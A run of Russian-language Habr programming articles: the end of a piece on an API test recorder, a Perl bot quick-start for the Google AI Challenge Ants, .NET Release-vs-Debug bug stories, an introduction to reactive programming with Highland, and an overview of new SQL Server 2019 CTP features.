172%2E31%2E240%2E175
1500
func%3Demaildomain%2Eedit%26elid%3D%26name%3Dtest%2Eemail%26owner%3Dusr%26ipsrc%3Dauto%26defaction%3Derror%26redirval%3D%26spamassassin%3Doff%26avcheck%3Doff%26clicked%5Fbutton%3Dok%26progressid%3Dfalse%5F1424243906672%26sok%3Dok%26sfrom%3Dajax%26operafake%3D1424243906673
// Поля формы
текущий месяц
//Локализация
usr
Сообщение об ошибке
получить автоматически
off
usr
auto
test.email
ok
auto
```
Доработки (о чем мы не подумали заранее)
----------------------------------------
### Ожидание
Человек может «просто подождать», компьютер — нет. Одна из первых проблем, которую должен был решить магнитофон, — написание вейтеров. Чего только народ не придумывал, чтобы дождаться завершения операции. Было реализовано ожидание фоновых задач и возможность добавить остановку на указанном шаге на заданное количество секунд.
### Дозапись и редактирование шагов теста
Наверное, все помнят времена печатных машинок: одна ошибка — и приходится перепечатывать всю страницу.
Чтобы тестировщику не пришлось при ошибочном действии переписывать весь тест, был реализован механизм дозаписи теста с любого шага после сохранения. Возможность редактирования пригождается и тогда, когда нужно адаптировать тест к изменениям поведения тестируемых функций.
### Макросы для переменных
При выполнении тестов значения в передаваемых и проверяемых параметрах менялись в зависимости от сервера, на котором они были запущены. Пример таких данных — IP-адреса. Узнать их на этапе записи теста невозможно, поэтому я добавил систему макросов. Это позволило создавать тесты, не так жёстко привязанные к окружению. Недостаток решения в том, что после записи макросы надо указывать вручную.
Ещё одна проблема, существенно усложняющая работу с магнитофоном, — это использование не нативных ключей. Мы заметили её не сразу, так как тестировали магнитофон на ISPmanager, который использует нативные идентификаторы. Но в некоторых других панелях запись идентифицируется по уникальному ID. Поэтому пришлось научить магнитофон не только получать идентификатор после создания записи или объекта (так как ID может меняться от запуска к запуску), но и подставлять его во все последующие запросы.
### Поддержка формата JUnit
Созданные магнитофоном тесты запускаются автоматически в среде непрерывной интеграции Jenkins. После выполнения тестов создаётся xml-файл, содержащий данные в формате JUnit. Чтобы файл корректно формировался, было введено ограничение на именование тестов. Например, тест User.Create.xml попадал в testsuite с именем User и, следовательно, testcase у него был Create. В случае ошибки к нему добавлялся дочерний узел failure с полным описанием ошибки.
### Метрики
Подсчитывается количество уникальных вызванных функций во время прохождения тестов и определяется отношение в процентах к общему количеству функций, исключая доступные только для внутреннего использования. Таким образом измеряется простейшее покрытие тестами. Кроме того, метрики показывают общее время прохождения теста и количество успешных и заваленных тестов.
### Хранилище тестов
Хранилище тестов в первую очередь решает проблему переноса готовых тестов на другие серверы. Ещё оно пригождается, когда тесты пишут несколько тестировщиков. Небольшая панель для хранения тестов Storage была разработана и развёрнута также на базе нашего COREmanager. В магнитофоне есть модуль синхронизации тестов с хранилищем. При написании нового теста или выгрузке тестов из хранилища они автоматически становятся недоступными к загрузке в хранилище, чтобы не возникло путаницы. После изменения теста у него повышается номер ревизии, чтобы в хранилище загружались только тесты после изменений.
Трудности (ну а куда же без них)
--------------------------------
Использование магнитофона показало, что не все функции API следовали нашим же внутренним рекомендациям. В частности, не все функции возвращали идентификатор записи после её создания. Приходилось возвращаться в том числе к работающему коду и приводить его в соответствие с требованиями.
Ещё одной проблемой стали deadlock. Панель подразумевает выполнение некоторых критических действий в монопольном режиме. И магнитофон, являясь частью той же панели, вызывая такие функции приводил к зависанию всей системы. Это удалось определить только с помощью GDB (никто не вспомнил об этой особенности). К сожалению, не обошлось без костылей, потому что было принято решение при запуске тестов магнитофона выполнять эти функции в многопоточном режиме. Теоретически можно было оформить магнитофон не модулем, а отдельной панелью. Но мы не пробовали.
Написать и забыть тоже, к сожалению, не получилось. Интерфейс наших продуктов меняется и усложняется. Причём количество компонентов интерфейса активно растет. Поэтому магнитофон приходится время от времени дорабатывать, чтобы при появлении новых компонентов он мог анализировать их структуру и обрабатывать результаты выполнения запросов.
Заключение
----------
Создание магнитофона помогло добиться повышения качества тестируемых продуктов. Сэкономлено время и ресурсы на обучение тестировщиков. Попутно магнитофон позволил провести review нашего API на соответствие внутренним рекомендациям, и, следовательно, сделать API чуточку более «логичным». | https://habr.com/ru/post/421007/ | null | ru | null |
# Пишем своего бота для Google AI Challenge. Быстрый старт
Совсем скоро стартует Google AI Challenge Ants. Два дня назад уже был анонс на хабре про это состязание:
<http://habrahabr.ru/blogs/sport_programming/130457/>. Для тех, у кого есть желание поучаствовать или хотя бы просто узнать поподробнее, как это делается, я написал этот «Быстрый Старт».
*Из статьи вы узнаете как запустить у себя на машине игру, написать своего первого бота и запустить две копии бороться друг против друга.*
Я использую **Linux (Debian)**, но на сайте также есть комплект и для **Windows** (в системе должен быть установлен Python).
Пример бота я приведу на языке **Perl**, но это никак не отменяет полезности статьи для тех, кто пишет на другом языке.
В комплекте от aichallenge есть уже готовые боты, написанные на языках: Java, PHP, C#, Python.
Более того, сейчас на сайте вы можете скачать стартовый пакет для написания своего бота на языках:
C#, C++, Common Lisp, D, Go, Java, JavaScript, Lua, OCaml, Pascal, Perl, PHP, Python, Ruby, Scala.
В скором времени будут добавлены и эти языки:
C, Clojure, CoffeeScript, Erlang, Groovy, Haskell, Visual Basic.
И да. Вы можете одновременно запускать сражение ботов, написанных на разных языках программирования.
##### Напутствие
Даже если у вас мало опыта в программировании и вы считаете, что вам ничего не светит, все равно рекомендую попробовать свои силы хотя бы на локальной машине. Как минимум, вы увидите образец хорошего стиля программирования и получите такой полезный навык программиста, как работа с чужим кодом.
И кстати, гугл обещает какие-то специальные призы студентам-первокурсникам.
Ну что ж, приступим.
#### Что нужно для старта?
В первую очередь, вот ссылка на официальный сайт, где есть вся полезная информация: <http://beta.aichallenge.org/>
Для написания своего бота понадобится **стартовый пакет**. На странице
<http://beta.aichallenge.org/starter_packages.php> выбираете свой язык программирования и скачиваете архив. Я выбрал Perl:
```
$ wget http://beta.aichallenge.org/starter_packages/perl_starter_package.zip
```
Распаковываем, например, в каталог MyBot:
```
$ unzip -d MyBot perl_starter_package.zip
Archive: perl_starter_package.zip
inflating: MyBot/Ants.pm
inflating: MyBot/MyBot.pl
inflating: MyBot/MyBot.pm
inflating: MyBot/Position.pm
inflating: MyBot/README.md
```
Это простая, но уже рабочая версия бота! Можно ее запускать в действие. Но сначала расскажу что для чего нужно.
Битва происходит на прямоугольном участке. На участке есть земля, вода, еда, муравейники и, собственно, главные действующие лица — муравьи.
Игра пошаговая.
Ваш бот — это программа, которая в бесконечном цикле (один цикл — один шаг) получает состояние игрового поля и возвращает новое положение для своих муравьев.
Ваш бот — это коллективный разум всех ваших муравьев, он знает все, что знают ваши муравьи. На каждом цикле бот для каждого вашего муравья должен определить следующий шаг, куда пойдет муравей: север, юг, восток, запад или останется на месте. Все. В этом заключается вся суть игры.
Теперь обратимся к реализации. Реализация бота находится в файле **MyBot.pm**.
Файлы **Ants.pm** и **Position.pm** — необходимые файлы для взаимодействия с игровым миром. Файл **MyBot.pl** — файл для запуска бота.
Вся работа по написанию бота будет происходить в файле MyBot.pm.
И главная функция здесь — это:
```
sub create_orders {
my $self = shift;
for my $ant ($self->my_ants) {
my @food = $self->nearby_food($ant);
for my $f (@food) {
my $direction = $self->direction($ant, $f);
next unless $self->passable(
Position->from($ant)->move($direction)
);
$self->issue_order( $ant, $direction );
last;
}
}
}
```
Это именно та функция, которая вызывается на каждом шаге.
В ней для каждого муравья из всех ваших муравьев
```
for my $ant ($self->my_ants) {
```
что-то делается… и в итоге дается указание системе:
```
$self->issue_order( $ant, $direction );
```
что этот муравей пойдет в эту сторону.
Все. А кто куда пойдет — это уже ваша фантазия. В данном примере муравей пойдет за первой попавшейся доступной едой.
Но я обещал что мы попробуем написать своего бота. И чтобы урок был простым, мы напишем самый простой, но и самый бесполезный вариант — муравей будет ходить случайным образом.
Но прежде чем приступать, нужно разобраться где мы будем смотреть на баталии наших ботов.
На официальном сайте предлагается специальный комплект: **Ants game visualizer**, написанный на Python.
Версия для Linux/MacOS: <http://beta.aichallenge.org/tools.tar.bz2>
Версия для Windows: <http://beta.aichallenge.org/tools.zip>
Берем:
```
$ wget http://beta.aichallenge.org/tools.tar.bz2
```
Распаковываем:
```
$ tar -xjvf tools.tar.bz2
```
Смотрим. В корне папки есть два shell-скрипта с говорящими названиями:
**play\_one\_game.sh
play\_one\_game\_live.sh**
Чтобы понаблюдать за процессом, нам понадобится файл **play\_one\_game\_live.sh**.
Посмотрим внимательно:
```
#!/usr/bin/env sh
./playgame.py -So --player_seed 42 --end_wait=0.25 --verbose --log_dir game_logs --turns 1000 --map_file maps/maze/maze_9.map "$@" \
"python sample_bots/python/HunterBot.py" \
"python sample_bots/python/LeftyBot.py" \
"python sample_bots/python/HunterBot.py" \
"python sample_bots/python/LeftyBot.py" |
java -jar visualizer.jar
```
При запуске игры:
```
$ ./play_one_game_live.sh
```
откроется визуализатор, в котором вы увидите большое поле с 4-мя муравейниками и можете понаблюдать за битвой.
Как уже видно из кода, воевать здесь будут 4 питон-бота, идущих в комплекте с визуализатором. Помимо питон-ботов, как я уже говорил, есть боты, написанные на C#, Java и PHP.
Первый шаг сделан. Отлично! Что дальше?
А дальше мы хотим подключить своего Perl-бота к игре. Будем изменять скрипт.
Строчка **«python sample\_bots/python/HunterBot.py»** представляет из себя команду для запуска вашего бота. Результатом работы этой команды должен стать запущенный процесс, который будет принимать входные данные и выдавать результат. Таким образом здесь может быть любая ваша программа, написанная на любом языке программирования.
В моем случае — программа которая запускает моего бота — **MyBot.pl**.
Создадим каталог **sample\_bots/perl** и скопируем все нужные файлы нашего бота из стартового комплекта в этот каталог:
```
$ cp MyBot/*.pl MyBot/*.pm tools/sample_bots/perl/
```
Бот есть. Выберем карту попроще. Карты находятся в каталоге maps. Каждая карта — это текстовый файл. В первых трех строчках стоят размеры и количество игроков на карте.
Будьте внимательны, запускайте ровно столько игроков, сколько указано в карте!
Я выбрал небольшую карту с двумя игроками:
**maps/example/tutorial1.map**
Вношу изменения в файл запуска **play\_one\_game\_live.sh**:
```
#!/usr/bin/env sh
./playgame.py -So --player_seed 42 --end_wait=0.25 --verbose --log_dir game_logs --turns 1000 --map_file maps/example/tutorial1.map "$@" \
"python sample_bots/python/HunterBot.py" \
"perl sample_bots/perl/MyBot.pl" |
java -jar visualizer.jar
```
Все готово. Можем запускать и наблюдать за игрой нашего бота.
#### Пишем бота, который ходит случайным образом
Приступим к реализации задачи. Открываем файл MyBot.pm и удаляем все лишнее из функции **sub create\_orders**. Отправная точка будет такая:
```
sub create_orders {
my $self = shift;
for my $ant ($self->my_ants) {
$self->issue_order( $ant, $direction );
}
}
```
Она пока не рабочая, т.к. у нас не определено *$direction*. Если посмотреть код функции *issue\_order* (она находится в файле Ants.pm), то мы узнаем что она принимает в качестве второго аргументы букву: **N, S, W или E** (север, юг, запад или восток).
Создадим массив из букв, и для каждого муравья возьмем произвольный элемент этого массива. Таким образом каждый муравей на каждом шаге пойдет в неизвестном никому направлении.
Язык perl дает соблазн написать все это в пару строчек, но т.к. статья рассчитана на разный тип и уровень программистов, то распишу это так:
```
sub create_orders {
my $self = shift;
my @directions = qw(N S W E);
for my $ant ($self->my_ants) {
my $index = int (rand (4));
$self->issue_order( $ant, $directions[$index] );
}
}
```
Сохраняемся, выбираем себе противника, запускаем и наблюдаем как наших слепых котят пожирают злобные безжалостные муравьи соперника.
Ну что ж. Бот готов, хоть и глупый, но зато свой. Дело за малым: добавить боту интеллекта, научить его искать пищу, воевать, и можно отправлять его за победой. Тут наши пути расходятся.
Функции для поиска еды и соперников оставляю на самостоятельное изучение. Смотрите файл Ants.pm.
И в заключении хочется сказать пару слов про регистрацию.
Правильная ссылка на регистрацию вот: [beta.aichallenge.org/submit.php](http://beta.aichallenge.org/submit.php)
На сайте в некоторых местах дана неправильная ссылка (видимо на прошлый чемпионат), что меня спугнуло вначале и я чуть было не бросил эту затею.
После регистрации можно загрузить исходный стартовый пакет, как есть, в архиве, для того чтобы ваше имя как можно раньше появилось в рейтингах.
**До встречи на поле боя!** | https://habr.com/ru/post/130582/ | null | ru | null |
# Пара историй про отличия Release от Debug
Все разработчики знают, что исполнение релизной версии может отличаться от отладочной. В этой статье я расскажу пару случаев из жизни, когда такие отличия приводили к ошибочному исполнению программы. Примеры не отличаются большой сложностью, но вполне могут уберечь от наступления на грабли.
#### История 1
Собственно, началось все с того, что пришел баг о том что при некоторых операциях приложение вылетает. Это бывает часто. Баг не захотел воспроизводиться в Debug-версии. Это порой бывает. Поскольку в приложении часть библиотек была написано на C++, то первой мыслью было что-то вроде «где-то забыли переменную проинициализировать или что-то в этом духе». Но на деле суть бага крылась в управляемом коде, хотя без неуправляемого тоже не обошлось.
А код оказался примерно следующим:
> `class Wrapper : IDisposable
>
> {
>
> public IntPtr Obj {get; private set;};
>
>
>
> public Wrapper()
>
> {
>
> this.Obj = CreateUnmObject();
>
> }
>
>
>
> ~Wrapper()
>
> {
>
> this.Dispose(false);
>
> }
>
>
>
> protected virtual void Dispose(bool disposing)
>
> {
>
> if (disposing)
>
> {
>
> }
>
>
>
> this.ReleaseUnmObject(this.Obj);
>
> this.Obj = IntPtr.Zero;
>
> }
>
>
>
> public void Dispose()
>
> {
>
> this.Dispose(true);
>
> GC.SuppressFinalize(this);
>
> }
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
В принципе, практически каноническая реализация шаблона IDisposable («практически» — потому, что нет переменной disposed, вместо нее обнуление указателя), вполне стандартный класс-обертка неуправляемого ресурса.
Использовался же класс примерно следующим образом:
> `{
>
> Wrapper wr = new Wrapper();
>
> calc.DoCalculations(wr.Obj);
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Естественно, что внимательный читатель сразу обратит внимание, что объекта wr надо вызвать Dispose, то есть обернуть все конструкцией using. Но на первый взгляд, на причину падения это не должно повлиять, так как разница будет в том детерминировано ли очистится ресурс или нет.
Но на самом деле разница есть и именно в релизной сборке. Дело в том, что объект wr становится доступным сборщику мусора сразу после начала выполнения метода DoCalculations, ведь больше нет ни одного «живого» объекта, кто на него ссылался бы. А значит wr вполне может(а так оно и происходило) быть уничтожен во время выполнения DoCalculations и указатель, переданный в этот метод становится невалидным.
Если обернуть вызов DoCalculations в using (Wrapper wr = new Wrapper()){...}, то это решит проблему, поскольку вызов Dispose в блоке finally, не даст жадному сборщику мусора «съесть» объект раньше времени. Если же по какой-то причине мы не можем или не хотим вызывать Dispose (к примеру WPF этот шаблон совсем не жалует), то придется вставлять GC.KeepAlive(wr) после вызова DoCalculations.
Реальный код, безусловно, был сложнее и разглядеть в нем ошибку было не так просто, как в примере.
Почему же ошибка проявлялась только в Release-версии, и то запущенной не из-под студии(если присоединить отладчик в процессе выполнения, то ошибка будет повторяться)? Потому что в противном случае для всех локальных ссылочных переменных добавляются якоря, чтобы они доживали до конца текущего метода, сделано это явно ради удобства отладки.
#### История 2
Жил-был проект, где для доступа к ресурсам использовался менеджер, который по строковому ключу доставал из заданной сборки различного вида ресурсы. С целью облегчения написания кода был написан следующего вида метод:
> `public string GetResource(string key)
>
> {
>
> Assembly assembly = Assembly.GetCallingAssembly();
>
> return this.GetResource(assembly, key);
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
После миграции на .Net 4 некоторые ресурсы внезапно перестали находиться. И дело тут опять же в оптимизации релизной версии. Дело в том, что в 4 версии дотнета компилятор может встраивать вызовы в код методов других сборок.
Чтобы «почувствовать разницу» предлагается следующий пример:
> `dll1:
>
> public class Class1
>
> {
>
> public void Method1()
>
> {
>
> Console.WriteLine(new StackTrace());
>
> }
>
> }
>
>
>
> dll2:
>
> public class Class2
>
> {
>
> public void Method21()
>
> {
>
> this.Method22();
>
> }
>
>
>
> public void Method22()
>
> {
>
> (new Class1()).Method1();
>
> }
>
> }
>
>
>
> dll3:
>
> class Program
>
> {
>
> static void Main(string[] args)
>
> {
>
> (new Class3()).Method3();
>
> }
>
> }
>
> class Class3
>
> {
>
> public void Method3()
>
> {
>
> (new Class2()).Method21();
>
> }
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Если скомпилировать в дебажной конфигурации(или если запускать процесс из-под студии) то получим честный стек вызовов:
в ClassLibrary1.Class1.Method1()
в ClassLibrary2.Class2.Method22()
в ClassLibrary2.Class2.Method21()
в ConsoleApplication1.Class3.Method3()
в ConsoleApplication1.Program.Main(String[] args)
Если собрать под .Net версии до 3.5 включительно в релизе:
в ClassLibrary1.Class1.Method1()
в ClassLibrary2.Class2.Method21()
в ConsoleApplication1.Program.Main(String[] args)
А под .Net 4 в релизной конфигурации то и вовсе получим:
в ConsoleApplication1.Program.Main(String[] args)
Мораль здесь проста — не стоит привязывать логику к стеку вызовов, равно как и удивляться необычному стеку в исключениях в логе релизной версии. В частности, если вы пытаетесь найти причину исключения исключительно по его стеку вызовов, то стоит учитывать, что если стек заканчивается на методе Method1, то в коде оно(исключение) могло быть сгенерировано в одном из небольших методов, которые вызываются в теле Method1.
Так же на всякий случай стоит помнить, что можно запретить компилятору встраивать метод пометив его атрибутом [MethodImpl(MethodImplOptions.NoInlining)], эдакий аналог \_\_declspec(noinline) в VC++.
#### Вместо заключения
Мир проявляемых только в релизе багов воистину безграничен, и цели сделать полный его обзор я не ставил. Просто хотелось поделиться собственным опытом, точнее более интересной его частью. Ну и остается только пожелать читателям поменьше сталкиваться с подобными ошибками в работе. | https://habr.com/ru/post/127543/ | null | ru | null |
# Самое краткое введение в Reactive Programming
Цель данной статьи – показать на примере зачем нужно reactive programming, как оно связано с функциональным программированием, и как с его помощью можно писать декларативный код, который легко адаптировать к новым требованиям. Кроме того, хочется сделать это максимально кратко и просто на примере приближенном к реальному.
Возьмем такую задачу:
*Есть некий сервис c REST API и endpointом `/people`. При POST-запросе на этот endpoint'a создается новая сущность. Написать функцию которая принимает массив объектов вида `{ name: 'Max' }` и создают набор сущностей посредством API(по-английски, это называется batch-операция).*
Давайте решим эту задачу в императивном стиле:
```
const request = require('superagent')
function batchCreate(bodies) {
const calls = []
for (let body of bodies) {
calls.push(
request
.post('/people')
.send(body)
.then(r => r.status)
)
}
return Promise.all(calls)
}
```
Давайте, для сравнения, перепишем этот кусочек кода в функциональном стиле. Для простоты, под функциональным стилем мы будем понимать:
1. Применение функциональных примитивов(*.map*, *.filter*, *.reduce*) вместо императивных циклов(*for*, *while*)
2. Код организован в "чистые" функции – они зависят только от своих аргументов и не зависят от состояния системы
Код в функциональном стиле:
```
const request = require('superagent')
function batchCreate(bodies) {
const calls = bodies.map(body =>
request
.post('/people')
.send(body)
.then(r => r.status)
)
return Promise.all(calls)
}
```
Мы получили кусок кода такого же размера и стоит признаться что не понятно чем этот кусок лучше предыдущего.
Для того чтобы понять чем второй кусок кода лучше – нужно начать менять код, представим что к оригинальной задаче появилось новое требование:
*У сервиса который мы вызываем появилось ограничение на количество запросов в промежуток времени: за секунду один клиент может выполнить не более пяти запросов. Выполнение большего количества запросов приведет к тому что сервис будет возвращать 429 HTTP ошибку(too many requests).*
В этом месте, пожалуй, стоит остановиться и попробовать решить задачу самому, %username%
Возьмем за основу наш функциональный код и попробуем его изменить. Основная проблема "чистого" функционального программирования состоит в том, что оно ничего "не знает" — о среде выполнения и вводе-выводе(в английском для этого есть выражение **side effects**), но на практике мы постоянно с ними работаем.
Чтобы заполнить этот пробел на помощь приходит Reactive Programming — набор подходов пытающихся решить проблему side effects. Самой известной реализацией этой парадигмы является библиотека [Rx](https://github.com/ReactiveX/rxjs), использующая концепцию [reactive streams](https://en.wikipedia.org/wiki/Reactive_Streams)
Что такое reactive streams? Если очень кратко, то это подход позволяющий применить функциональные примитивы(.map, .filter, .reduce) к чему-то распределенному по времени.
Например, мы передаем по сети некий набор комманд – нам не нужно дожидаться пока мы получим весь набор, мы представляем его как reactive stream и можем с ним работать. Тут возникают еще два важных концепта:
* поток может быть бесконечным или как угодно долго распределенным по времени
* передающая сторона передает команду только в том случае, если принимающая готова ее обработать(backpressure)
Целью этой статьи является поиск легких путей, поэтому, мы возьмем библиотеку [Highland](https://highlandjs.org/), которая старается решить ту же задачу что и Rx, но намного проще в освоении. Идея лежащая внутри проста: давайте возьмем за основу [Node.js streams](https://nodejs.org/api/stream.html) и будем “переливать” данные из одного Stream в другой.
Приступим: начнем с простого — сделаем наш код "реактивным" без добавления нового функционала
```
const request = require('superagent')
const H = require(‘highland’)
function batchCreate(bodies) {
return H(bodies)
.flatMap(body =>
H(request
.post('localhost:3000/people')
.send(body)
.then(r => r.status)
)
)
.collect()
.toPromise(Promise)
}
```
На что стоит обратить внимание:
* H(bodies) – мы создаем stream из массива
* .flatMap и callback который он принимает. Идея довольно проста — мы заворачиваем Promise в конструктор потока чтобы получить поток с одним значением(или ошибкой. важно понимать что это именно значение, а не Promise).
В результате это нам дает поток потоков — при помощи flatMap мы сглаживаем это в один поток значений которым мы можем оперировать(кто сказал монада?)
* .collect – нам нужен для того чтобы собрать все значения в одной "точке" в массив
* .toPromise – вернет нам Promise, который будет fulfilled в момент когда у нас будет значение из потока
Теперь давайте попробуем реализовать наше требование:
```
const request = require('superagent')
const H = require('highland')
function batchCreate(bodies) {
return H(bodies)
.flatMap(body =>
H(request
.post('localhost:3000/people')
.send(body)
.then(r => r.status)
)
)
.ratelimit(5, 1000)
.collect()
.toPromise(Promise)
}
```
Благодаря концепту backpressure – это всего лишь одна строчка .ratelimit в данной парадигме. В Rx это занимает приблизительно [столько же места](https://www.g9labs.com/2016/03/21/lossless-rate-limiting-with-rxjs/).
Ну вот и все, интересно ваше мнение:
* получилось ли у меня достичь декларируемого в начале статьи результата?
* можно ли достичь аналогичного результата используя императивный подход?
* заинтересовались ли вы Reactive programming?
P.S.: вот тут можно найти еще одну [мою статью про Reactive Programming](https://habr.com/post/325320/) | https://habr.com/ru/post/427467/ | null | ru | null |
# Что нового в первой CTP редакции SQL Server 2019
24 сентября была представлена первая редакция CTP выпуска SQL Server 2019, и, позвольте сказать, что он переполнен всевозможными улучшениями и новыми возможностями (многие из которых можно найти в форме предварительного просмотра в базе данных SQL Azure). У меня была исключительная возможность познакомиться с этим чуть раньше, позволившая мне расширить представление об изменениях, пусть даже поверхностно. Вы можете также ознакомиться с [последними публикациями от команды разработчиков SQL Server](https://cloudblogs.microsoft.com/sqlserver/) и [обновленной документацией](https://docs.microsoft.com/en-us/sql/sql-server/sql-server-technical-documentation?view=sql-server-ver15).
Не вдаваясь в подробности, я собираюсь обсудить следующие новые функций ядра: производительность, поиск и устранение неполадок в работе, безопасность, доступность и разработка. На данный момент у меня есть немного больше подробностей, чем у других, и часть из них уже подготовлена к публикациям. Я вернусь к этому разделу, как и к множеству других статей и документации и опубликую их. Спешу сообщить, что это не всеобъемлющий обзор, а только часть функционала, которую я успел «пощупать», вплоть до CTP 2.0. Еще есть много всего, о чем стоит рассказать.
Производительность
------------------
#### Табличные переменные: отложенное построение плана
За табличными переменными закрепилась не очень хорошая репутация, по большей части в области оценки стоимости. По умолчанию, SQL Server предполагает, что табличная переменная может содержать только одну строку, что порой приводит к неадекватному выбору плана, когда в переменной будет содержаться в разы больше строк. В качестве обходного решения обычно используется OPTION (RECOMPILE), но это требует изменения кода и расточительно, по отношению к ресурсам — выполнять перестроение каждый раз, в то время, как количество строк, чаще всего, одно и то же. Для эмуляции перестроения был введен [флаг трассировки 2453](https://sqlperformance.com/2014/06/t-sql-queries/table-variable-perf-fix), но он тоже требует запуск с флагом, и срабатывает только когда происходит существенное изменение в строках.
В уровне совместимости 150 выполняется отложенное построение, если присутствуют табличные переменные, и план запроса не будет построен до тех пор, пока не будет однократно заполнена табличная переменная. Оценка стоимости будет производиться по результатам первого использования табличной переменной, без дальнейших перестроений. Это компромисс между постоянным перестроением, для получения точной стоимости, и полным отсутствием перестроения с постоянной стоимостью 1. Если количество строк остается относительно постоянным, то это хороший показатель (и еще более хороший, если число превышает 1), но может быть менее выгодным, если имеет место большой разброс в количестве строк.
Более глубокий разбор я представил в недавней статье [Табличные переменные: Отложенное построение в SQL Server](https://www.mssqltips.com/sqlservertip/5662/table-variable-deferred-compilation-in-sql-server/), и Брент Озар тоже говорил об этом в статье [Быстрые табличные переменные (И новые проблемы анализа параметров)](https://www.brentozar.com/archive/2018/09/sql-server-2019-faster-table-variables-and-new-parameter-sniffing-issues/).
#### Обратная связь по выделяемой памяти в строковом режиме
SQL Server 2017 имеет обратную связь по выделяемой памяти в пакетном режиме, которая подробно описана [здесь](https://blogs.msdn.microsoft.com/sqlserverstorageengine/2016/11/29/introducing-batch-mode-adaptive-memory-grant-feedback/). По существу, для любого выделения памяти, связанного с планом запроса, включающего операторы пакетного режима, SQL Server оценит память, использованную запросом, и сравнит её с запрошенной памятью. Если запрошенной памяти слишком мало или слишком много, что приведет к сливам в tempdb или пустой трате памяти, то при следующем запуске выделяемая память для соответствующего плана запроса будет скорректирована. Такое поведение либо уменьшит выделяемый объем и расширит параллелизм, либо увеличит его, для улучшения производительности.
Теперь мы получаем такое же поведение для запросов в строковом режиме, под уровнем совместимости 150. Если запрос был вынужден слить данные на диск, то для последующих запусков выделяемая память будет увеличена. Если по факту выполнения запроса потребовалось вполовину меньше памяти, чем было выделено, то для последующих запросов она будет скорректирована в нижнюю сторону. Бретн Озар более подробно описывает это в своей статье [Условное выделение памяти](https://www.brentozar.com/archive/2018/09/whats-new-in-sql-server-2019-adaptive-memory-grants/).
#### Пакетный режим для построчного хранения
Начиная с SQL Server 2012, запросы к таблицам с колоночными индексами получили выигрыш от повышения производительности пакетного режима. Улучшение производительности происходят из-за обработчика запросов, выполняющего пакетную, а не построчную обработку. Строки тоже обрабатываются ядром хранилища в пакетах, что позволяет избежать операторов обмена параллелизма. Пол Уайт ([@SQL\_Kiwi](https://twitter.com/SQL_Kiwi)) напомнил мне, что, если использовать пустую таблицу с колоночным хранением, чтобы сделать возможными операции пакетного режима, то обработанные строки будут собраны в пакеты невидимым оператором. Однако этот костыль может свести на нет любые улучшения, полученные от обработки в пакетном режиме. Некоторая информация об этом есть в [ответе на Stack Exchange](https://dba.stackexchange.com/a/98964/1186).
При уровне совместимости 150, SQL Server 2019 автоматически выберет пакетный режим в определенных случаях в качестве золотой середины, даже когда нет колоночных индексов. Можно подумать, что почему бы просто не создать колоночный индекс и дело в шляпе? Или продолжить использовать упомянутый выше костыль? Такой подход был распространен и на традиционные объекты с построчным хранением, ибо колоночные индексы, по ряду причин, не всегда возможны, включая ограничения функционала (например, триггеры), издержки при высоконагруженных операциях обновления или удаления, а также отсутствия поддержки сторонних производителей. А от того костыля ничего хорошего ожидать не приходится.
Я создал очень простую таблицу с 10 миллионами строк и одним кластеризованным индексом на целочисленном столбце и запустил этот запрос:
```
SELECT sa5, sa2, SUM(i1), SUM(i2), COUNT(*)
FROM dbo.FactTable
WHERE i1 > 100000
GROUP BY sa5, sa2
ORDER BY sa5, sa2;
```
План отчетливо показывает поиск по кластеризованному индексу и параллелизм, но ни слова о колоночном индексе (что и показывает [SentryOne Plan Explorer](https://sentryone.com/plan-explorer/)):
Но если копнуть немного глубже, то можно увидеть, что практически все операторы выполнялись в пакетном режиме, даже сортировка и скалярные вычисления:
Вы можете отключить эту функцию, оставшись на более низком уровне совместимости, путем изменения конфигурации базы данных или с помощью подсказки DISALLOW\_BATCH\_MODE в запросе:
```
SELECT … OPTION (USE HINT ('DISALLOW_BATCH_MODE'));
```
В этом случае появляется дополнительный оператор обмена, все операторы выполняются в построчном режиме, а время выполнения запроса увеличивается почти в три раза.
До определенного уровня можно увидеть это в диаграмме, но в дереве подробностей плана можно также увидеть влияние условия отбора, неспособного исключить строки, пока не произошла сортировка:
Выбор пакетного режима – не всегда удачный шаг – эвристика, включенная в алгоритм принятия решения, учитывает количество строк, типы предполагаемых операторов и ожидаемую выгоду пакетного режима.
#### APPROX\_COUNT\_DISTINCT
Эта новая агрегатная функция предназначена для сценариев работы с хранилищами данных и является эквивалентом COUNT(DISTINCT()). Однако вместо того, чтобы выполнять дорогостоящие сортировки, для определения фактического количества, новая функция полагается на статистику, чтобы получить относительно точные данные. Нужно понимать, что погрешность лежит в пределах 2% от точного количества, и в 97% случаев, являющихся нормой для высокоуровневой аналитики, — это значения, отображаемые на индикаторах или используемые для быстрых оценок.
В своей системе я создал таблицу с целочисленными столбцами, включающими уникальные значения в диапазоне от 100 до 1 000 000, и строковыми столбцами, с уникальными значениями в диапазоне от 100 до 100 000. В ней не было никаких индексов, кроме кластеризованного первичного ключа в первом целочисленном столбце. Вот результаты выполнения COUNT(DISTINCT()) и APPROX\_COUNT\_DISTINCT() по этим столбцам, из которых можно увидеть небольшие расхождения (но всегда в пределах 2%):
Выигрыш огромен, если есть ограничения по памяти, что относится к большинству из нас. Если посмотреть на планы запросов, в этом конкретном случае, то можно увидеть огромную разницу в потреблении памяти оператором хэш-соответствия (hash match):
Обратите внимание, что вы, как правило, будете замечать только значительные улучшения производительности, если вы уже привязаны к памяти. В моей системе выполнение длилось немного дольше из-за сильной загрузки ЦП новой функцией:
Возможно, разница была бы более существенной, если бы у меня были более крупные таблицы, меньше памяти, доступной SQL Server, более высокий параллелизм или какая-либо комбинация из вышеперечисленного.
#### Подсказки для использования уровня совместимости в пределах запроса
У Вас есть особенный запрос, который работает лучше под определенным уровнем совместимости, отличным от текущей базы данных? Теперь это возможно, за счет новых подсказок запроса, поддерживающих шесть различных уровней совместимости и пять различных моделей оценки количества элементов. Ниже приведены доступные уровни совместимости, пример синтаксиса и модель уровня совместимости, которая используется в каждом случае. Посмотрите, как это влияет на оценки, даже для системных представлений:
